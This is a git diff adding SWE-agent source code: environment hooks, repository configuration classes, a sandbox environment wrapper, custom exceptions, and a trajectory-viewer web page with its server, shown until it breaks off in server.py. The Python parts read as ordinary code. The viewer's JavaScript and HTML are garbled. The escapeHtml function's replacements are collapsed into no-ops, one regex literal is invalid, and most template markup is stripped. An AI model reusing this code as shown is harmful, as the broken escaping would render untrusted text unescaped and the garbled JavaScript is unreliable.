b/sweagent/environment/hooks/abstract.py new file mode 100644 index 0000000..33ac5c6 --- /dev/null +++ b/sweagent/environment/hooks/abstract.py @@ -0,0 +1,60 @@ +from sweagent.environment.repo import Repo, RepoConfig + + +class EnvHook: + """Hook to be used in `SWEEnv`. + + Subclass this class, add functionality and add it with `SWEEEnv.add_hook(hook)`. + This allows to inject custom functionality at different stages of the environment + lifecycle, in particular to connect SWE-agent to a new interface (like a GUI). + """ + + def on_init(self, *, env) -> None: + """Gets called when the hook is added""" + + def on_copy_repo_started(self, repo: RepoConfig | Repo) -> None: + """Gets called when the repository is being cloned to the container""" + + def on_start_deployment(self) -> None: + """Gets called when the deployment is being started""" + + def on_install_env_started(self) -> None: + """Called when we start installing the environment""" + + def on_close(self): + """Called when the environment is closed""" + + def on_environment_startup(self) -> None: + """Called when the environment is started""" + + +class CombinedEnvHooks(EnvHook): + def __init__(self): + self._hooks = [] + + def add_hook(self, hook: EnvHook) -> None: + self._hooks.append(hook) + + def on_init(self, *, env) -> None: + for hook in self._hooks: + hook.on_init(env=env) + + def on_copy_repo_started(self, repo: RepoConfig | Repo) -> None: + for hook in self._hooks: + hook.on_copy_repo_started(repo=repo) + + def on_start_deployment(self) -> None: + for hook in self._hooks: + hook.on_start_deployment() + + def on_install_env_started(self) -> None: + for hook in self._hooks: + hook.on_install_env_started() + + def on_close(self): + for hook in self._hooks: + hook.on_close() + + def on_environment_startup(self) -> None: + for hook in self._hooks: + hook.on_environment_startup() diff --git a/sweagent/environment/hooks/status.py b/sweagent/environment/hooks/status.py new file mode 100644 index 0000000..8926920 --- /dev/null +++ b/sweagent/environment/hooks/status.py @@ -0,0 +1,28 @@ +from collections.abc import Callable + +from sweagent.environment.hooks.abstract import EnvHook +from sweagent.environment.repo import Repo, RepoConfig + + +class SetStatusEnvironmentHook(EnvHook): + def __init__(self, id: str, callable: Callable[[str, str], None]): + self._callable = callable + self._id = id + + def _update(self, message: str): + self._callable(self._id, message) + + def on_copy_repo_started(self, repo: RepoConfig | Repo): + self._update(f"Copying repo {repo.repo_name}") + + def on_start_deployment(self): + self._update("Starting deployment") + + def on_install_env_started(self): + self._update("Installing environment") + + def on_environment_startup(self): + self._update("Starting environment") + + def on_close(self): + self._update("Closing environment") diff --git a/sweagent/environment/repo.py b/sweagent/environment/repo.py new file mode 100644 index 0000000..655db8d --- /dev/null +++ b/sweagent/environment/repo.py @@ -0,0 +1,258 @@ +import asyncio +import os +import shlex +from pathlib import Path +from typing import Any, Literal, Protocol + +from git import InvalidGitRepositoryError +from git import Repo as GitRepo +from pydantic import BaseModel, ConfigDict, Field +from swerex.deployment.abstract import AbstractDeployment +from swerex.runtime.abstract import Command, UploadRequest +from typing_extensions import Self + +from sweagent.utils.github import _parse_gh_repo_url +from sweagent.utils.log import get_logger + +logger = get_logger("swea-config", emoji="🔧") + + +class Repo(Protocol): + """Protocol for repository configurations.""" + + base_commit: str + repo_name: str + + def copy(self, deployment: AbstractDeployment): ... + + def get_reset_commands(self) -> list[str]: ... + + +def _get_git_reset_commands(base_commit: str) -> list[str]: + return [ + "git fetch", + "git status", + "git restore .", + "git reset --hard", + f"git checkout {shlex.quote(base_commit)}", + "git clean -fdq", + ] + + +class PreExistingRepoConfig(BaseModel): + """Use this to specify a repository that already exists on the deployment. + This is important because we need to cd to the repo before running the agent. + + Note: The repository must be at the root of the deployment. + """ + + repo_name: str + """The repo name (the repository must be located at the root of the deployment).""" + base_commit: str = Field(default="HEAD") + """The commit to reset the repository to. The default is HEAD, + i.e., the latest commit. You can also set this to a branch name (e.g., `dev`), + a tag (e.g., `v0.1.0`), or a commit hash (e.g., `a4464baca1f`). + SWE-agent will then start from this commit when trying to solve the problem. + """ + + type: Literal["preexisting"] = "preexisting" + """Discriminator for (de)serialization/CLI. Do not change.""" + + reset: bool = True + """If True, reset the repository to the base commit after the copy operation.""" + + model_config = ConfigDict(extra="forbid") + + def copy(self, deployment: AbstractDeployment): + """Does nothing.""" + pass + + def get_reset_commands(self) -> list[str]: + """Issued after the copy operation or when the environment is reset.""" + if self.reset: + return _get_git_reset_commands(self.base_commit) + return [] + + +class LocalRepoConfig(BaseModel): + path: Path + base_commit: str = Field(default="HEAD") + """The commit to reset the repository to. The default is HEAD, + i.e., the latest commit. You can also set this to a branch name (e.g., `dev`), + a tag (e.g., `v0.1.0`), or a commit hash (e.g., `a4464baca1f`). + SWE-agent will then start from this commit when trying to solve the problem. + """ + + type: Literal["local"] = "local" + """Discriminator for (de)serialization/CLI. Do not change.""" + + model_config = ConfigDict(extra="forbid") + + @property + def repo_name(self) -> str: + """Set automatically based on the repository name. Cannot be set.""" + return Path(self.path).resolve().name.replace(" ", "-").replace("'", "") + + # Let's not make this a model validator, because it leads to cryptic errors. + # Let's just check during copy instead. + def check_valid_repo(self) -> Self: + try: + repo = GitRepo(self.path, search_parent_directories=True) + except InvalidGitRepositoryError as e: + msg = f"Could not find git repository at {self.path=}." + raise ValueError(msg) from e + if repo.is_dirty() and "PYTEST_CURRENT_TEST" not in os.environ: + msg = f"Local git repository {self.path} is dirty. Please commit or stash changes." + raise ValueError(msg) + return self + + def copy(self, deployment: AbstractDeployment): + self.check_valid_repo() + asyncio.run( + deployment.runtime.upload(UploadRequest(source_path=str(self.path), target_path=f"/{self.repo_name}")) + ) + r = asyncio.run( + deployment.runtime.execute(Command(command=f"chown -R root:root /{self.repo_name}", shell=True)) + ) + if r.exit_code != 0: + msg = f"Failed to change permissions on copied repository (exit code: {r.exit_code}, stdout: {r.stdout}, stderr: {r.stderr})" + raise RuntimeError(msg) + + def get_reset_commands(self) -> list[str]: + """Issued after the copy operation or when the environment is reset.""" + return _get_git_reset_commands(self.base_commit) + + +class GithubRepoConfig(BaseModel): + github_url: str + + base_commit: str = Field(default="HEAD") + """The commit to reset the repository to. The default is HEAD, + i.e., the latest commit. You can also set this to a branch name (e.g., `dev`), + a tag (e.g., `v0.1.0`), or a commit hash (e.g., `a4464baca1f`). + SWE-agent will then start from this commit when trying to solve the problem. + """ + + clone_timeout: float = 500 + """Timeout for git clone operation.""" + + type: Literal["github"] = "github" + """Discriminator for (de)serialization/CLI. Do not change.""" + + model_config = ConfigDict(extra="forbid") + + def model_post_init(self, __context: Any) -> None: + if self.github_url.count("/") == 1: + self.github_url = f"https://github.com/{self.github_url}" + + @property + def repo_name(self) -> str: + org, repo = _parse_gh_repo_url(self.github_url) + return f"{org}__{repo}" + + def _get_url_with_token(self, token: str) -> str: + """Prepend github token to URL""" + if not token: + return self.github_url + if "@" in self.github_url: + logger.warning("Cannot prepend token to URL. '@' found in URL") + return self.github_url + _, _, url_no_protocol = self.github_url.partition("://") + return f"https://{token}@{url_no_protocol}" + + def copy(self, deployment: AbstractDeployment): + """Clones the repository to the sandbox.""" + base_commit = self.base_commit + github_token = os.getenv("GITHUB_TOKEN", "") + url = self._get_url_with_token(github_token) + asyncio.run( + deployment.runtime.execute( + Command( + command=" && ".join( + ( + f"mkdir /{self.repo_name}", + f"cd /{self.repo_name}", + "git init", + f"git remote add origin {shlex.quote(url)}", + f"git fetch --depth 1 origin {shlex.quote(base_commit)}", + "git checkout FETCH_HEAD", + "cd ..", + ) + ), + timeout=self.clone_timeout, + shell=True, + check=True, + ) + ), + ) + + def get_reset_commands(self) -> list[str]: + """Issued after the copy operation or when the environment is reset.""" + return _get_git_reset_commands(self.base_commit) + + +class SWESmithRepoConfig(BaseModel): + """Repository config for SWE-Smith instances that handles targeted fetch + from a GitHub mirror, authenticating via GITHUB_TOKEN when needed. + """ + + repo_name: str + base_commit: str = Field(default="HEAD") + mirror_url: str = "" + """HTTPS URL of the GitHub mirror to fetch the bug branch from.""" + + type: Literal["swesmith_preexisting"] = "swesmith_preexisting" + """Discriminator for (de)serialization/CLI. Do not change.""" + + model_config = ConfigDict(extra="forbid") + + def copy(self, deployment: AbstractDeployment): + pass + + @staticmethod + def _get_url_with_token(url: str, token: str) -> str: + if not token or not url: + return url + _, _, url_no_protocol = url.partition("://") + return f"https://{token}@{url_no_protocol}" + + def get_reset_commands(self) -> list[str]: + if self.mirror_url: + github_token = os.getenv("GITHUB_TOKEN", "") + url = self._get_url_with_token(self.mirror_url, github_token) + return [ + "git restore .", + "git reset --hard", + f"git fetch {shlex.quote(url)} {shlex.quote(self.base_commit)}", + "git checkout FETCH_HEAD", + "git clean -fdq", + ] + return _get_git_reset_commands(self.base_commit) + + +RepoConfig = LocalRepoConfig | GithubRepoConfig | PreExistingRepoConfig | SWESmithRepoConfig + + +def repo_from_simplified_input( + *, input: str, base_commit: str = "HEAD", type: Literal["local", "github", "preexisting", "auto"] = "auto" +) -> RepoConfig: + """Get repo config from a simplified input. + + Args: + input: Local path or GitHub URL + type: The type of repo. Set to "auto" to automatically detect the type + (does not work for preexisting repos). + """ + if type == "local": + return LocalRepoConfig(path=Path(input), base_commit=base_commit) + if type == "github": + return GithubRepoConfig(github_url=input, base_commit=base_commit) + if type == "preexisting": + return PreExistingRepoConfig(repo_name=input, base_commit=base_commit) + if type == "auto": + if input.startswith("https://github.com/"): + return GithubRepoConfig(github_url=input, base_commit=base_commit) + else: + return LocalRepoConfig(path=Path(input), base_commit=base_commit) + msg = f"Unknown repo type: {type}" + raise ValueError(msg) diff --git a/sweagent/environment/swe_env.py b/sweagent/environment/swe_env.py new file mode 100644 index 0000000..cbe0195 --- /dev/null +++ b/sweagent/environment/swe_env.py @@ -0,0 +1,276 @@ +import asyncio +import logging +import shlex +from pathlib import PurePath +from typing import Literal, Self + +from pydantic import BaseModel, ConfigDict, Field +from swerex.deployment.abstract import AbstractDeployment +from swerex.deployment.config import DeploymentConfig, DockerDeploymentConfig, get_deployment +from swerex.runtime.abstract import ( + BashAction, + BashInterruptAction, + CreateBashSessionRequest, + ReadFileRequest, + WriteFileRequest, +) +from swerex.runtime.abstract import Command as RexCommand + +from sweagent.environment.hooks.abstract import CombinedEnvHooks, EnvHook +from sweagent.environment.repo import Repo, RepoConfig +from sweagent.utils.log import get_logger + + +class EnvironmentConfig(BaseModel): + """Configure data sources and setup instructions for the environment in which we solve the tasks.""" + + deployment: DeploymentConfig = Field( + default_factory=lambda: DockerDeploymentConfig(image="python:3.11", python_standalone_dir="/root"), + description="Deployment options.", + ) + repo: RepoConfig | None = Field( + default=None, + description="Repository options.", + ) + post_startup_commands: list[str] = [] + """Execute these commands before starting to run the agent but after all other setup steps. + They will be executed in the same shell as the agent. + Note: Every command is passed as a string, not a list of arguments. + """ + post_startup_command_timeout: int = 500 + """Timeout for the post-startup commands. + NOTE: The timeout applies to every command in `post_startup_commands` separately. + """ + + # pydantic config + model_config = ConfigDict(extra="forbid") + + name: str = "main" + + +class SWEEnv: + def __init__( + self, + *, + deployment: AbstractDeployment, + repo: Repo | RepoConfig | None, + post_startup_commands: list[str], + post_startup_command_timeout: int = 500, + hooks: list[EnvHook] | None = None, + name: str = "main", + ): + """This class represents the environment in which we solve the tasks. + + Args: + deployment: SWE-ReX deployment instance + repo: Repository configuration object, or anything following the `Repo` protocol + post_startup_commands: Commands to execute before starting the agent + hooks: Environment hooks (used to inject custom functionality) + Equivalent to calling `add_hook` for each hook after initialization. + name: Name of the environment + """ + super().__init__() + self.deployment = deployment + self.repo = repo + self._post_startup_commands = post_startup_commands + self.post_startup_command_timeout = post_startup_command_timeout + self.logger = get_logger("swea-env", emoji="🪴") + self.name = name + self.clean_multi_line_functions = lambda x: x + self._chook = CombinedEnvHooks() + for hook in hooks or []: + self.add_hook(hook) + + @classmethod + def from_config(cls, config: EnvironmentConfig) -> Self: + """Create an environment instance from a configuration object. + This is the recommended way to create an environment instance, unless you need + more flexibility. + """ + # Always copy config to avoid shared state between different instances + config = config.model_copy(deep=True) + return cls( + deployment=get_deployment(config.deployment), + repo=config.repo, + post_startup_commands=config.post_startup_commands, + post_startup_command_timeout=config.post_startup_command_timeout, + name=config.name, + ) + + def add_hook(self, hook: EnvHook) -> None: + """Add `EnvHook` to the environment. + + This allows to inject custom functionality at different stages of the environment + lifecycle, in particular to connect SWE-agent to a new interface (like a GUI). + """ + hook.on_init(env=self) + self._chook.add_hook(hook) + + def start(self) -> None: + """Start the environment and reset it to a clean state.""" + self._init_deployment() + self.reset() + for command in self._post_startup_commands: + self.communicate(command, check="raise", timeout=self.post_startup_command_timeout) + + def _copy_repo(self) -> None: + """Clone/copy repository/codebase in container""" + if self.repo is None: + return + + folders = self.communicate(input="ls", check="raise").split("\n") + if self.repo.repo_name in folders: + return + + self._chook.on_copy_repo_started(repo=self.repo) + self.repo.copy(self.deployment) + + def hard_reset(self): + """Resets the environment and deployment, i.e., completely restarts the + deployment. + """ + self.close() + self.start() + + def reset(self): + """Reset the environment to a clean state. + Gets called by `start`, but can also be called independently to reset the + environment to a clean state before a new attempt. + + Returns: + observation: output from container + info: additional information (e.g. debugging information) + """ + self.communicate(input="cd /", check="raise") + self._copy_repo() + self._reset_repository() + self._chook.on_environment_startup() + + def _reset_repository(self) -> None: + """Clean repository of any modifications + Checkout base commit""" + if self.repo is not None: + self.logger.debug("Resetting repository %s to commit %s", self.repo.repo_name, self.repo.base_commit) + # todo: Currently has swe-ft specific change: The original repo.copy isn't called, because the repo is already + # present. However, reset --hard also doesn't work. So modified it here to do a checkout instead. + startup_commands = [ + f"cd /{self.repo.repo_name}", + "export ROOT=$(pwd -P)", + *self.repo.get_reset_commands(), + ] + self.communicate( + input=" && ".join(startup_commands), + check="raise", + error_msg="Failed to clean repository", + # Sometimes this is slow because it rebuilds some index + timeout=120, + ) + + def close(self) -> None: + """Shutdown SWE-ReX deployment etc.""" + self.logger.info("Beginning environment shutdown...") + asyncio.run(self.deployment.stop()) + self._chook.on_close() + + # MARK: Helper functions # + + def _init_deployment( + self, + ) -> None: + """Handles container initialization. Defines container name and creates it. + If cached_image is provided, it will use that image name instead of the default. + """ + self._chook.on_start_deployment() + asyncio.run(self.deployment.start()) + asyncio.run( + self.deployment.runtime.create_session( + CreateBashSessionRequest(startup_source=["/root/.bashrc"], startup_timeout=10) + ) + ) + self.set_env_variables({"LANG": "C.UTF-8", "LC_ALL": "C.UTF-8", "PIP_PROGRESS_BAR": "off", "PAGER": "cat"}) + self.logger.info("Environment Initialized") + + def interrupt_session(self): + self.logger.info("Interrupting session") + asyncio.run(self.deployment.runtime.run_in_session(BashInterruptAction())) + + # todo: return exit code? + def communicate( + self, + input: str, + timeout: int | float = 25, + *, + check: Literal["warn", "ignore", "raise"] = "ignore", + error_msg: str = "Command failed", + ) -> str: + """Executes a command in the running shell. The details of this are handled by + the SWE-ReX deployment/runtime. + + Args: + input: input to send to container + timeout_duration: duration to wait for output + check: `ignore`: do not extract exit code (more stable), `warn`: extract exit code and log error if + exit code is non-zero, `raise`: raise error if exit code is non-zero + error_msg: error message to raise if the command fails + + Returns: + output: output from container + """ + self.logger.log(logging.TRACE, "Input:\n%s", input) # type: ignore + rex_check = "silent" if check else "ignore" + r = asyncio.run( + self.deployment.runtime.run_in_session(BashAction(command=input, timeout=timeout, check=rex_check)) + ) + output = r.output + self.logger.log(logging.TRACE, "Output:\n%s", output) # type: ignore + if check != "ignore" and r.exit_code != 0: + self.logger.error(f"{error_msg}:\n{output}") + msg = f"Command {input!r} failed ({r.exit_code=}): {error_msg}" + self.logger.error(msg) + if check == "raise": + self.close() + raise RuntimeError(msg) + return output + + def read_file(self, path: str | PurePath, encoding: str | None = None, errors: str | None = None) -> str: + """Read file contents from container + + Args: + path: Absolute path to file + encoding: Encoding to use when reading the file. None means default encoding. + This is the same as the `encoding` argument of `Path.read_text()` + errors: Error handling to use when reading the file. None means default error handling. + This is the same as the `errors` argument of `Path.read_text()` + + Returns: + file_contents: Contents of file as string + """ + r = asyncio.run( + self.deployment.runtime.read_file(ReadFileRequest(path=str(path), encoding=encoding, errors=errors)) + ) + return r.content + + def write_file(self, path: str | PurePath, content: str) -> None: + """Write content to file in container""" + asyncio.run(self.deployment.runtime.write_file(WriteFileRequest(path=str(path), content=content))) + + def set_env_variables(self, env_variables: dict[str, str]) -> None: + """Set environment variables in the environment.""" + if not env_variables: + self.logger.debug("No environment variables to set") + return + _env_setters = [f"export {k}={shlex.quote(str(v))}" for k, v in env_variables.items()] + command = " && ".join(_env_setters) + self.communicate(command, check="raise") + + def execute_command( + self, + command: str, + shell: bool = True, + check: bool = False, + env: dict[str, str] | None = None, + cwd: str | None = None, + ) -> None: + """Execute a command in the environment independent of the session (i.e., as a subprocess)""" + asyncio.run( + self.deployment.runtime.execute(RexCommand(command=command, shell=shell, check=check, env=env, cwd=cwd)) + ) diff --git a/sweagent/exceptions.py b/sweagent/exceptions.py new file mode 100644 index 0000000..1df920b --- /dev/null +++ b/sweagent/exceptions.py @@ -0,0 +1,54 @@ +from typing import Any, Literal + +"""This module contains all custom exceptions used by the SWE-agent.""" + + +class FormatError(Exception): + """Raised when the model response cannot properly be parsed into thought and actions.""" + + +class FunctionCallingFormatError(FormatError): + """Format error exception used by the function + calling parser.""" + + def __init__( + self, + message: str, + error_code: Literal[ + "missing", "multiple", "incorrect_args", "invalid_json", "invalid_command", "missing_arg", "unexpected_arg" + ], + **extra_info: Any, + ): + super().__init__(message + f" [error_code={error_code}]") + self.message = message + self.extra_info = {"error_code": error_code, **extra_info} + + +class ContextWindowExceededError(Exception): + """Raised when the context window of a LM is exceeded""" + + +class CostLimitExceededError(Exception): + """Raised when we exceed a cost limit""" + + +class InstanceCostLimitExceededError(CostLimitExceededError): + """Raised when we exceed the cost limit set for one task instance""" + + +class TotalCostLimitExceededError(CostLimitExceededError): + """Raised when we exceed the total cost limit""" + + +class InstanceCallLimitExceededError(CostLimitExceededError): + """Raised when we exceed the per instance call limit""" + + +class ContentPolicyViolationError(Exception): + """Raised when the model response violates a content policy""" + + +class ModelConfigurationError(Exception): + """Raised when the model configuration is invalid/no further retries + should be made. + """ diff --git a/sweagent/inspector/README.md b/sweagent/inspector/README.md new file mode 100644 index 0000000..4ef8a0f --- /dev/null +++ b/sweagent/inspector/README.md @@ -0,0 +1,6 @@ +🔗 For more information on the trajectory inspector, visit [our documentation website][docs]. + +You can also find the corresponding markdown files in the [`docs/` folder][source]. + +[docs]: https://swe-agent.com/latest/usage/inspector/ +[source]: https://github.com/SWE-agent/SWE-agent/tree/main/docs diff --git a/sweagent/inspector/__init__.py b/sweagent/inspector/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/sweagent/inspector/favicon.ico b/sweagent/inspector/favicon.ico new file mode 100644 index 0000000..362b4e1 Binary files /dev/null and b/sweagent/inspector/favicon.ico differ diff --git a/sweagent/inspector/fileViewer.js b/sweagent/inspector/fileViewer.js new file mode 100644 index 0000000..155aedd --- /dev/null +++ b/sweagent/inspector/fileViewer.js @@ -0,0 +1,354 @@ +let currentFileName = null; +let trajectoryDirectory = ""; +let timeoutIds = []; + +function getBaseUrl() { + const protocol = window.location.protocol; + const host = window.location.hostname; + const port = window.location.port; + const defaultPort = + protocol === "http:" && !port + ? "80" + : protocol === "https:" && !port + ? "443" + : port; + return `${protocol}//${host}:${defaultPort}`; +} + +function fetchFiles() { + const baseUrl = getBaseUrl(); + fetch(`${baseUrl}/files`) + .then((response) => response.json()) + .then((files) => { + const fileList = document.getElementById("fileList"); + fileList.innerHTML = ""; + files.forEach((file) => { + const fileElement = document.createElement("li"); + fileElement.textContent = file; + fileElement.onclick = () => viewFile(file.split(" ")[0]); + fileList.appendChild(fileElement); + }); + }); +} + +function createTrajectoryItem(item, index) { + const elementId = `trajectoryItem${index}`; + + // Check for old format and log a warning + const isOldFormat = item.messages && !item.query; + if (isOldFormat) { + console.log( + `Found old format using 'messages' instead of 'query' in item ${index}`, + ); + // Migrate old format to new format + item.query = item.messages; + } + + const hasMessages = item.query && item.query.length > 0; + + const escapeHtml = (text) => { + if (!text) { + return ""; + } + return text + .replace(/&/g, "&") + .replace(//g, ">") + .replace(/"/g, """) + .replace(/'/g, "'"); + }; + + const processImagesInObservation = (observation) => { + if (!observation) { + return { processedText: "", images: [] }; + } + + // regex to match markdown-style base64 images: ![alt text](data:image/;base64,) + const imageRegex = /!\[([^\]]*)\]\(data:image\/([^;]+);base64,([^)]+)\)/g; + const images = []; + let processedText = observation; + let match; + + while ((match = imageRegex.exec(observation)) !== null) { + const [fullMatch, altText, format, base64Data] = match; + + // create image object + const imageObj = { + altText: altText || "Image", + format: format, + dataUrl: `data:image/${format};base64,${base64Data}`, + id: `img_${Date.now()}_${Math.random().toString(36).substr(2, 9)}`, + }; + + images.push(imageObj); + + // replace the full base64 string with a placeholder + processedText = processedText.replace( + fullMatch, + `[IMAGE: ${imageObj.altText}]`, + ); + } + + return { processedText, images }; + }; + + const getMessageContent = (msg) => { + if (!msg.content) { + return ""; + } + + // Handle content as a string + if (typeof msg.content === "string") { + return msg.content; + } + + // Handle content as an array with a dictionary containing 'text' key + if ( + Array.isArray(msg.content) && + msg.content.length > 0 && + msg.content[0].text + ) { + return msg.content[0].text; + } + + // Fallback to stringifying the content + return JSON.stringify(msg.content); + }; + + const messagesContent = hasMessages + ? item.query + .map((msg, msgIndex) => { + let content = `----Item ${msgIndex}-----\n`; + content += `role: ${msg.role}\n`; + content += `content: |\n${escapeHtml(getMessageContent(msg))}\n`; + + if (msg.tool_calls && msg.tool_calls.length > 0) { + msg.tool_calls.forEach((tool, idx) => { + content += `- tool call ${idx + 1}:\n`; + if (tool.function) { + content += ` - name: ${tool.function.name}\n`; + // Handle arguments based on type + let args = tool.function.arguments; + try { + if (typeof args === "string") { + args = JSON.parse(args); + } + content += ` - arguments: ${JSON.stringify(args, null, 2).replace(/\n/g, "\n ")}\n`; + } catch (e) { + content += ` - arguments: ${escapeHtml(String(args))}\n`; + } + } + content += ` - id: ${tool.id}\n`; + }); + } + + if (msg.is_demo) { + return `${content}`; + } + return content; + }) + .join("\n") + : ""; + + // Process images in observation + const { processedText: processedObservation, images: observationImages } = + processImagesInObservation(item.observation); + + // Create separate image pane HTML if there are images + const observationImagesPane = + observationImages.length > 0 + ? `
+
+
+ ${observationImages + .map( + (img) => + `
+ ${escapeHtml(img.altText)} +
${escapeHtml(img.altText)}
+
`, + ) + .join("")} +
+
+
` + : ""; + + return ` +
+
+
+
+ 
Response:
+${escapeHtml(item.response)}
+
+Action:
+${escapeHtml(item.action)}
+
+
+
+
+ 
${escapeHtml(processedObservation)}
+
+
+ ${observationImagesPane} + ${ + item.execution_time + ? `
Execution time: ${item.execution_time}s
` + : "" + } +
+ ${ + hasMessages + ? ` +
+
+ 
${messagesContent}
+
+
+ ` + : "" + } +
+ `; +} + +function viewFile(fileName) { + currentFileName = fileName; + timeoutIds.forEach((timeoutId) => clearTimeout(timeoutId)); + timeoutIds = []; + + const baseUrl = getBaseUrl(); + const showDemos = document.getElementById("showDemos").checked; + + fetch(`${baseUrl}/trajectory/${fileName}`) + .then((response) => { + if (!response.ok) { + throw new Error("Network response was not ok"); + } + return response.json(); + }) + .then((content) => { + const container = document.getElementById("fileContent"); + container.innerHTML = ""; + + if (content.trajectory && Array.isArray(content.trajectory)) { + content.trajectory.forEach((item, index) => { + container.innerHTML += createTrajectoryItem(item, index); + + // Highlight code blocks after adding them + const newItem = document.getElementById(`trajectoryItem${index}`); + newItem.querySelectorAll("pre code").forEach((block) => { + hljs.highlightElement(block); + }); + }); + + // Initialize image click handlers after all items are added + initializeImageHandlers(); + } else { + container.textContent = "No trajectory content found."; + } + }) + .catch((error) => { + console.error("Error fetching file:", error); + document.getElementById("fileContent").textContent = + "Error loading content. " + error; + }); + + // Highlight selected file + document.querySelectorAll("#fileList li").forEach((li) => { + li.classList.remove("selected"); + if (li.textContent.split(" ")[0] === fileName) { + li.classList.add("selected"); + } + }); +} + +function initializeImageHandlers() { + // Remove existing overlay if present + const existingOverlay = document.querySelector(".image-overlay"); + if (existingOverlay) { + existingOverlay.remove(); + } + + // Create overlay element + const overlay = document.createElement("div"); + overlay.className = "image-overlay"; + document.body.appendChild(overlay); + + // Add click handlers to all observation images + document.querySelectorAll(".observation-image").forEach((img) => { + img.addEventListener("click", function (e) { + e.preventDefault(); + e.stopPropagation(); + + // Toggle expanded state + if (this.classList.contains("expanded")) { + this.classList.remove("expanded"); + overlay.classList.remove("active"); + } else { + // Remove expanded class from all other images + document + .querySelectorAll(".observation-image.expanded") + .forEach((otherImg) => { + otherImg.classList.remove("expanded"); + }); + + // Add expanded class to clicked image + this.classList.add("expanded"); + overlay.classList.add("active"); + } + }); + }); + + // Close expanded image when clicking overlay + overlay.addEventListener("click", function () { + document.querySelectorAll(".observation-image.expanded").forEach((img) => { + img.classList.remove("expanded"); + }); + overlay.classList.remove("active"); + }); + + // Close expanded image when pressing Escape key + document.addEventListener("keydown", function (e) { + if (e.key === "Escape") { + document + .querySelectorAll(".observation-image.expanded") + .forEach((img) => { + img.classList.remove("expanded"); + }); + overlay.classList.remove("active"); + } + }); +} + +function refreshCurrentFile() { + if (currentFileName) { + const currentScrollPosition = + document.documentElement.scrollTop || document.body.scrollTop; + viewFile(currentFileName.split(" ")[0]); + setTimeout(() => { + window.scrollTo(0, currentScrollPosition); + }, 100); + } +} + +function fetchDirectoryInfo() { + const baseUrl = getBaseUrl(); + fetch(`${baseUrl}/directory_info`) + .then((response) => response.json()) + .then((data) => { + if (data.directory) { + trajectoryDirectory = data.directory; + document.title = `Trajectory Viewer: ${data.directory}`; + document.getElementById("directoryInfo").textContent = + `Directory: ${data.directory}`; + } + }) + .catch((error) => console.error("Error fetching directory info:", error)); +} + +window.onload = function () { + fetchFiles(); + fetchDirectoryInfo(); +}; diff --git a/sweagent/inspector/icons/computer.png b/sweagent/inspector/icons/computer.png new file mode 100644 index 0000000..11a2705 Binary files /dev/null and b/sweagent/inspector/icons/computer.png differ diff --git a/sweagent/inspector/icons/edit_icon.svg b/sweagent/inspector/icons/edit_icon.svg new file mode 100644 index 0000000..11bcba7 --- /dev/null +++ b/sweagent/inspector/icons/edit_icon.svg @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/sweagent/inspector/icons/swe-agent-logo-50.png b/sweagent/inspector/icons/swe-agent-logo-50.png new file mode 100644 index 0000000..4ff29d0 Binary files /dev/null and b/sweagent/inspector/icons/swe-agent-logo-50.png differ diff --git a/sweagent/inspector/icons/swellama_blue.png b/sweagent/inspector/icons/swellama_blue.png new file mode 100644 index 0000000..4797ff1 Binary files /dev/null and b/sweagent/inspector/icons/swellama_blue.png differ diff --git a/sweagent/inspector/icons/swellama_brown.png b/sweagent/inspector/icons/swellama_brown.png new file mode 100644 index 0000000..abf131d Binary files /dev/null and b/sweagent/inspector/icons/swellama_brown.png differ diff --git a/sweagent/inspector/icons/swellama_grey.png b/sweagent/inspector/icons/swellama_grey.png new file mode 100644 index 0000000..349ed09 Binary files /dev/null and b/sweagent/inspector/icons/swellama_grey.png differ diff --git a/sweagent/inspector/icons/swellama_tan.png b/sweagent/inspector/icons/swellama_tan.png new file mode 100644 index 0000000..0910a08 Binary files /dev/null and b/sweagent/inspector/icons/swellama_tan.png differ diff --git a/sweagent/inspector/index.html b/sweagent/inspector/index.html new file mode 100644 index 0000000..5a8e6fd --- /dev/null +++ b/sweagent/inspector/index.html @@ -0,0 +1,25 @@ + + + Trajectory Viewer + + + + + + + +
+

Trajectory File Viewer

+

+
    + +

    Conversation History

    +
    No file selected.
    +
    + +
    +
    + + diff --git a/sweagent/inspector/server.py b/sweagent/inspector/server.py new file mode 100644 index 0000000..76b7cca --- /dev/null +++ b/sweagent/inspector/server.py @@ -0,0 +1,354 @@ +from __future__ import annotations + +import http.server +import json +import os +import socketserver +from argparse import ArgumentParser +from functools import partial +from pathlib import Path +from typing import Any + +import yaml + + +def add_problem_statement(content): + """The problem statement is the first 'user' message in the history. + + We'll prepend the trajectory with the problem statement. + """ + problem_statement = "" + for item in content["history"]: + if item["role"] == "user": + problem_statement = item["content"] + break + if problem_statement: + content["trajectory"].insert( + 0, + { + "thought": "", + "action": "", + "response": "", + "observation": problem_statement, + "messages": [{"role": "system", "content": "Problem Statement placeholder"}], + }, + ) + return content + + +def append_exit(content): + exit_status = content.get("info", {}).get("exit_status", None) + if exit_status is None: + return content + + if exit_status.startswith("submitted"): + if "submission" in content["info"]: + content["trajectory"].append( + { + "thought": "Submitting solution", + "action": "Model Submission", + "response": "Submitting solution", + "observation": content["info"]["submission"], + "messages": [{"role": "system", "content": f"Submission generated - {exit_status}"}], + } + ) + else: + msg = "No submission in history or info" + raise ValueError(msg) + return content + + +def append_patch(instance_id, content, patches, patch_type): + if content.get("info", {}).get("exit_status", None) is not None: + if instance_id in patches: + content["trajectory"].append( + { + "thought": f"Showing {patch_type} patch", + "response": f"Showing {patch_type} patch", + "action": f"{patch_type} Patch", + "observation": patches[instance_id], + } + ) + return content + + +def append_results(traj_path: Path, instance_id: str, content, results, results_file): + stats: list[str] = [] + model_stats = {} + if traj_path.exists(): + data = json.loads(traj_path.read_text()) + info = data.get("info", {}) + model_stats = info.get("model_stats", {}) + + # Build stats section + exit_status = info.get("exit_status", "N/A") + instance_cost = model_stats.get("instance_cost", None) + instance_cost = f"{instance_cost:.2f}" if instance_cost is not None else "N/A" + tokens_sent = model_stats.get("tokens_sent", None) + tokens_sent = f"{tokens_sent:,}" if tokens_sent is not None else "N/A" + tokens_received = model_stats.get("tokens_received", None) + tokens_received = f"{tokens_received:,}" if tokens_received is not None else "N/A" + api_calls = model_stats.get("api_calls", None) + api_calls = f"{api_calls:,}" if api_calls is not None else "N/A" + + stats.append("**** Run Stats ****") + stats.append(f"Exit Status: {exit_status}") + stats.append(f"Instance Cost: ${instance_cost}") + stats.append(f"Tokens Sent: {tokens_sent}") + stats.append(f"Tokens Received: {tokens_received}") + stats.append(f"API Calls: {api_calls}\n") + + # Build status section + status = [] + 